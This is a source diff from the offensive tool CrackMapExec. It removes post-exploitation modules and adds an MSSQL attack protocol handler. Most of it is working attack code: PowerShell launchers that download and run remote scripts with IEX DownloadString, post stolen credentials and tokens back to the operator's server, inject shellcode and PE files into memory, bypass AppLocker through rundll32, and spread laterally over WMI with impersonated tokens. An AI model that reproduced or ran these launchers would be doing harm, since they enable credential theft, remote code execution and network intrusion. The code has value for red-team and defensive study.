lines2 = match.split("\n")
username, domain, password = "", "", ""
for line in lines2:
try:
if "Username" in line:
@ -126,7 +114,7 @@ class CMEModule:
pass
if username != "" and password != "" and password != "(null)":
sid = ""
# substitute the FQDN in if it matches
@ -209,16 +197,14 @@ class CMEModule:
if len(data):
creds = self.parse_mimikatz(data)
if len(creds):
context.log.success("Found credentials in Mimikatz output (domain\\username:password)")
for cred_set in creds:
credtype, domain, username, password,_,_ = cred_set
#Get the hostid from the DB
hostid = context.db.get_hosts(response.client_address[0])[0][0]
context.db.add_credential(credtype, domain, username, password, hostid)
context.log.highlight('{}\\{}:{}'.format(domain, username, password))
context.log.success("Added {} credential(s) to the database".format(len(creds)))
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved Mimikatz's output to {}".format(log_name))
context.log.info("Saved raw Mimikatz output to {}".format(log_name))

View File

@ -1,79 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
from sys import exit
class CMEModule:
'''
Executes the Mimikittenz script
Module by @byt3bl33d3r
'''
name = 'mimikittenz'
description = "Executes Mimikittenz"
chain_support = False
def options(self, context, module_options):
'''
'''
return
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-mimikittenz.ps1');
$data = Invoke-Mimikittenz;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('mimikittenz/Invoke-mimikittenz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-mimikittenz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
def print_post_data(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
context.log.highlight(line.strip())
print_post_data(data)
log_name = 'MimiKittenz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

View File

@ -1,86 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
class CMEModule:
'''
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'pe_inject'
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.payload_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.payload_path):
context.log.error('Invalid path to EXE/DLL!')
exit(1)
self.procid = None
self.exeargs = None
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
if 'EXEARGS' in module_options:
self.exeargs = module_options['EXEARGS']
def launcher(self, context, command):
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}');
Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
pefile=os.path.basename(self.payload_path))
if self.procid:
launcher += ' -ProcessID {}'.format(self.procid)
if self.exeargs:
launcher += ' -ExeArgs "{}"'.format(self.exeargs)
return create_ps_command(launcher, force_ps32=True)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(launcher)
elif os.path.basename(self.payload_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
request.stop_tracking_host()
with open(self.payload_path, 'rb') as payload:
request.wfile.write(payload.read())
else:
request.send_response(404)
request.end_headers()

View File

@ -1,104 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
from sys import exit
class CMEModule:
'''
Wrapper for PowerView's functions
Module by @byt3bl33d3r
'''
name = 'powerview'
description = "Wrapper for PowerView's functions"
chain_support = False
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
powah_command = command + ' | Out-String'
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
$data = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
command=powah_command)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
def print_post_data(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
context.log.highlight(line.strip())
print_post_data(data)
log_name = 'PowerView-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

View File

@ -1,55 +0,0 @@
class CMEModule:
'''
AppLocker bypass using rundll32 and Windows native javascript interpreter
Module by @byt3bl33d3r
'''
name = 'rundll32_exec'
description = 'Executes a command using rundll32 and Windows\'s native javascript interpreter'
#If the module supports chaining, change this to True
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
command = command.replace('\\', '\\\\')
command = command.replace('"', '\\"')
command = command.replace("'", "\\'")
launcher = 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("{}");'.format(command)
return launcher
def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed command')

View File

@ -1,78 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
class CMEModule:
'''
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'shellcode_inject'
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
PATH Path to the raw shellcode to inject
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is required!')
exit(1)
self.shellcode_path = os.path.expanduser(module_options['PATH'])
if not os.path.exists(self.shellcode_path):
context.log.error('Invalid path to shellcode!')
exit(1)
self.procid = None
if 'PROCID' in module_options.keys():
self.procid = module_options['PROCID']
def launcher(self, context, command):
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
port=context.server_port,
addr=context.localip,
shellcode=os.path.basename(self.shellcode_path))
if self.procid:
launcher += ' -ProcessID {}'.format(self.procid)
return create_ps_command(launcher, force_ps32=True)
def payload(self, context, command):
with open(get_ps_script('Powersploit/CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
elif os.path.basename(self.shellcode_path) == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(self.shellcode_path, 'rb') as shellcode:
request.wfile.write(shellcode.read())
#Target has the shellcode, stop tracking the host
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -1,198 +0,0 @@
from StringIO import StringIO
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from base64 import b64encode
import sys
import os
class CMEModule:
'''
This module allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials:
1) Invoke-TokenManipulation.ps1 is downloaded in memory and tokens are enumerated
2) If a token is found for the specified user, a new powershell process is created (with the impersonated tokens privs)
3) The new powershell process downloads a second stage and the specified command is then excuted on all target machines via WMI.
Module by @byt3bl33d3r
'''
name = 'token_rider'
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
chain_support = True
def options(self, context, module_options):
'''
TARGET Target machine(s) to execute the command on (comma seperated)
USER User to impersonate
DOMAIN Domain of the user to impersonate
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'TARGET' in module_options or not 'USER' in module_options or not 'DOMAIN' in module_options:
context.log.error('TARGET, USER and DOMAIN options are required!')
sys.exit(1)
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
sys.exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
sys.exit(1)
self.target_computers = ''
self.target_user = module_options['USER']
self.target_domain = module_options['DOMAIN']
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
sys.exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
targets = module_options['TARGET'].split(',')
for target in targets:
self.target_computers += '"{}",'.format(target)
self.target_computers = self.target_computers[:-1]
#context.log.debug('Target system string: {}'.format(self.target_computers))
def launcher(self, context, command):
second_stage = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/TokenRider.ps1');'''.format(server=context.server,
addr=context.localip,
port=context.server_port)
context.log.debug(second_stage)
#Main launcher
launcher = '''
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$tokens = Invoke-TokenManipulation -Enum;
foreach ($token in $tokens){{
if ($token.Domain -eq "{domain}" -and $token.Username -eq "{user}"){{
$token_desc = $token | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
$post_back = "Found token for user " + ($token.Domain + '\\' + $token.Username) + "! `n";
$post_back = $post_back + $token_desc;
Send-POSTRequest $post_back
Invoke-TokenManipulation -Username "{domain}\\{user}" -CreateProcess "cmd.exe" -ProcessArgs "/c powershell.exe -exec bypass -window hidden -noni -nop -encoded {second_stage}";
return
}}
}}
Send-POSTRequest "User token not present on system!"'''.format(second_stage=b64encode(second_stage.encode('UTF-16LE')),
server=context.server,
addr=context.localip,
port=context.server_port,
user=self.target_user,
domain=self.target_domain)
return create_ps_command(launcher)
def payload(self, context, command):
#This will get executed in the process that was created with the impersonated token
payload = '''
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
function Send-POSTRequest {{
[CmdletBinding()]
Param (
[string] $data
)
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();
}}
$post_output = "";
$targets = @({targets});
foreach ($target in $targets){{
try{{
Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $target -ArgumentList "{command}";
$post_output = $post_output + "Executed command on $target! `n";
}} catch {{
$post_output = $post_output + "Error executing command on $target $_.Exception.Message `n";
}}
}}
Send-POSTRequest $post_output'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
targets=self.target_computers,
command=command)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
elif 'TokenRider.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
#Command to execute on the target system(s)
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = str(response.rfile.read(length))
if len(data) > 0:
if data.find('User token not present') != -1:
response.stop_tracking_host()
elif data.find('Executed command') != -1 or data.find('Error executing') != -1:
response.stop_tracking_host()
buf = StringIO(data.strip()).readlines()
for line in buf:
context.log.highlight(line.strip())

View File

@ -1,118 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from datetime import datetime
from StringIO import StringIO
import os
import sys
class CMEModule:
'''
Enumerates available tokens using Powersploit's Invoke-TokenManipulation
Module by @byt3bl33d3r
'''
name = 'tokens'
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
chain_support = False
def options(self, context, module_options):
'''
USER Search for the specified username in available tokens (default: None)
USERFILE File containing usernames to search for in available tokens (defult: None)
'''
self.user = None
self.userfile = None
if 'USER' in module_options and 'USERFILE' in module_options:
context.log.error('USER and USERFILE options are mutually exclusive!')
sys.exit(1)
if 'USER' in module_options:
self.user = module_options['USER']
elif 'USERFILE' in module_options:
path = os.path.expanduser(module_options['USERFILE'])
if not os.path.exists(path):
context.log.error('Path to USERFILE invalid!')
sys.exit(1)
self.userfile = path
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$creds = Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data) > 0:
def print_post_data(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
context.log.highlight(line.strip())
context.log.success('Enumerated available tokens')
if self.user:
if data.find(self.user) != -1:
context.log.success("Found token for user {}!".format(self.user))
print_post_data(data)
elif self.userfile:
with open(self.userfile, 'r') as userfile:
for user in userfile:
user = user.strip()
if data.find(user) != -1:
context.log.success("Found token for user {}!".format(user))
print_post_data(data)
break
else:
print_post_data(data)
log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

0
cme/msfrpc.py Normal file → Executable file
View File

View File

@ -1,55 +0,0 @@
from impacket import tds
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
#The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRowsCME(self):
if self.lastError is True:
return
out = ''
self.processColMeta()
#self.printColumnsHeader()
for row in self.rows:
for col in self.colMeta:
if row[col['Name']] != 'NULL':
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
return out
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME
tds.MSSQL.printRows = printRowsCME

0
cme/spider/__init__.py → cme/protocols/__init__.py Normal file → Executable file
View File

244
cme/protocols/mssql.py Executable file
View File

@ -0,0 +1,244 @@
import socket
import logging
from cme.logger import CMEAdapter
from StringIO import StringIO
from cme.protocols.mssql.mssqlexec import MSSQLEXEC
from cme.connection import *
from cme.helpers.logger import highlight
from cme.helpers.powershell import create_ps_command
from impacket import tds
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
class mssql(connection):
def __init__(self, args, db, host):
self.mssql_instances = None
self.domain = None
self.hash = None
connection.__init__(self, args, db , host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser('mssql', help="Own stuff using MSSQL and/or Active Directory", parents=[std_parser, module_parser])
dgroup = mssql_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
dgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
mssql_parser.add_argument("--port", default=1433, type=int, dest='mssql_port', metavar='PORT', help='MSSQL port (default: 1433)')
mssql_parser.add_argument("-q", "--query", metavar='QUERY', type=str, help='Execute the specified query against the MSSQL DB')
mssql_parser.add_argument("-a", "--auth-type", dest='mssql_auth', choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')
cgroup = mssql_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
xgroup = cgroup.add_mutually_exclusive_group()
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'MSSQL',
'host': self.host,
'port': self.args.mssql_port,
'hostname': u'{}'.format(self.hostname)
})
def enum_host_info(self):
self.mssql_instances = self.conn.getInstances(10)
if len(self.mssql_instances) > 0:
for i, instance in enumerate(self.mssql_instances):
for key in instance.keys():
if key.lower() == 'servername':
self.hostname = instance[key]
break
try:
self.conn.disconnect()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.create_conn_obj()
def print_host_info(self):
if len(self.mssql_instances) > 0:
self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
for i, instance in enumerate(self.mssql_instances):
self.logger.highlight("Instance {}".format(i))
for key in instance.keys():
self.logger.highlight(key + ":" + instance[key])
def create_conn_obj(self):
try:
self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
self.conn.connect()
except socket.error:
return False
return True
def check_if_admin(self):
try:
#I'm pretty sure there has to be a better way of doing this.
#Currently we are just searching for our user in the sysadmin group
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
query_output = self.conn.printRows()
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
self.admin_privs = True
except:
return False
return True
def plaintext_login(self, domain, username, password):
res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
if self.admin_privs:
self.db.link_cred_to_host('plaintext', domain, username, password, self.host)
out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
password.decode('utf-8'),
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False)
if res is not True:
self.conn.printReplies()
return False
self.hash = ntlm_hash
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('hash', domain, username, ntlm_hash)
if self.admin_privs:
self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(domain.decode('utf-8'),
username.decode('utf-8'),
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
return conn.printRows()
@requires_admin
def execute(self, payload=None, get_output=False):
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
exec_method = MSSQLEXEC(self.conn)
logging.debug('Executed command via mssqlexec')
if self.cmeserver: self.cmeserver.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
return self.execute(create_ps_command(payload), get_output)
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
#The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRowsCME(self):
if self.lastError is True:
return
out = ''
self.processColMeta()
#self.printColumnsHeader()
for row in self.rows:
for col in self.colMeta:
if row[col['Name']] != 'NULL':
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
return out
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
else:
